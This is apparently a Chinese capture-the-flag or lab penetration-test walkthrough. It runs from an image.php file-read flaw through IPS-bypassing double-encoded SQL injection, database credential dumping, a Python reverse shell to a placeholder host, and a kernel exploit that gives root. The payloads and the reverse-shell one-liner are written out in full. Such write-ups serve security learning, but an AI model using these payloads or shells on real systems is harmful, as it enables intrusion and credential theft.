访问首页发现一个是填入优惠码的地方,同时还发现一个未加载的图片。

image-20200324154403672

点击图片查看链接,发现是内网地址,估计是系统没把内网地址进行转换。

http://10.66.20.100/image.php?src=https%3A%2f%2f4.bp.blogspot.com%2f-u8Jo4CEKQLk%2fV4OpiaoMJ7I%2fAAAAAAAAAiw%2f8kuCpTOpRWUAdp2p4GpegWdnOwxjwHNYQCLcB%2fs1600%2fphoto.jpg

不过可以通过此判断大概存在任意文件读取。再查看下面的优惠码,随便输入优惠码返回为空,但是输入单引号等会提示被IPS拦截。

image-20200324154610973

那么这里也可能有SQL注入。

先查看上面文件读取是否可以读取到文件

image-20200324154707368

再去读取优惠码页面,里面有个sql语句的拼接。

image-20200324154744119

再去查看config.php。发现数据库的账号密码

image-20200324154854709

再去尝试读取本地系统文件

image-20200324155044173

由于权限原因,是不能直接读取flag文件。尝试查找对应的目录

/proc/sched_debug 配置文件可以看到当前运行的进程并可以获得对应进程的pid。
/proc/pid/cmdline   则可以看到对应pid进程的完整命令行。

在查找内网端口服务的时候,发现80端口并没有开放,也就是内网端口和外部访问端口不一致,应该是做了端口转发出来。也许可以在内网端口上直接来执行SQL注入绕过IPS。遍历端口后发现8080端口是首页地址。

image-20200324172944910

测试双编码的情况下,可以绕过IPS,只是比在外部执行可以看到明显的返回。

image-20200324173354044

查询得知两字段

aaaa%2527union%2520select%25201,2%2523

image-20200325095033797

库名,应该是需要查询fancydb

aaa%2527%2520union%2520select%2520group_concat%2528schema_name%2529%252C2%2520from%2520information_schema.schemata%2523

image-20200325095158899

查表名

aaa%2527%2520union%2520select%2520group_concat%2528table_name%2529%252C2%2520from%2520information_schema.tables%2520where%2520table_schema%253D0x66616e63796462%2523

image-20200325095533778

字段名

aaa%2527%2520union%2520select%2520group_concat%2528column_name%2529%252C2%2520from%2520information_schema.columns%2520where%2520table_name%253D%2527users%2527%2523

image-20200325095658267

查询到账号密码andrea:SayNoToPentests

aaaaaa%2527%2520union%2520select%2520group_concat%2528username%252C0x3a%252Cpassword%2529%252C2%2520from%2520users%2523

image-20200325095818906

尝试利用sql注入写文件,不过需要先把物理路径找到,尝试默认的apache路径/var/www/html,试过发现路径是如下

image-20200325100055468

尝试导出文件失败,想起来用户非root,且不具备secure_file_priv。后来想找登陆和连接入口的时候感觉这个用户名比较眼熟,才想起来用户在passwd文件中出现过。且之前尝试搜索文件的时候尝试查找了用户下面的历史命令文件。

image-20200325102225242

那就直接试试ssh,确实可以登陆但是没有回显

image-20200325102859382

尝试反弹shell,发现是个rbash,不能这么反弹shell

image-20200325103330806

尝试python反弹

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

获得反弹shell,同时使用python -c 'import pty; pty.spawn("/bin/bash")' ,获取原生终端

image-20200325103553741

目录下有个suid位文件,不过不能利用,权限不对。

image-20200325104928838

没有历史命令文件等,不可执行sudo,查找内核漏洞,内核还不算高。

image-20200325110140941

开启一个外网服务,下载到服务器,发现可以正常编译不报错。。。执行后获得root权限

image-20200325110747898

找到根目录下的flag文件,是一个可执行文件。执行后提示完成

image-20200325110822459

回过头再去看那个dog文件是啥,发现还是提示Access Denied。难道这玩意就是寻开心的?





# 渗透测试  

tocToc: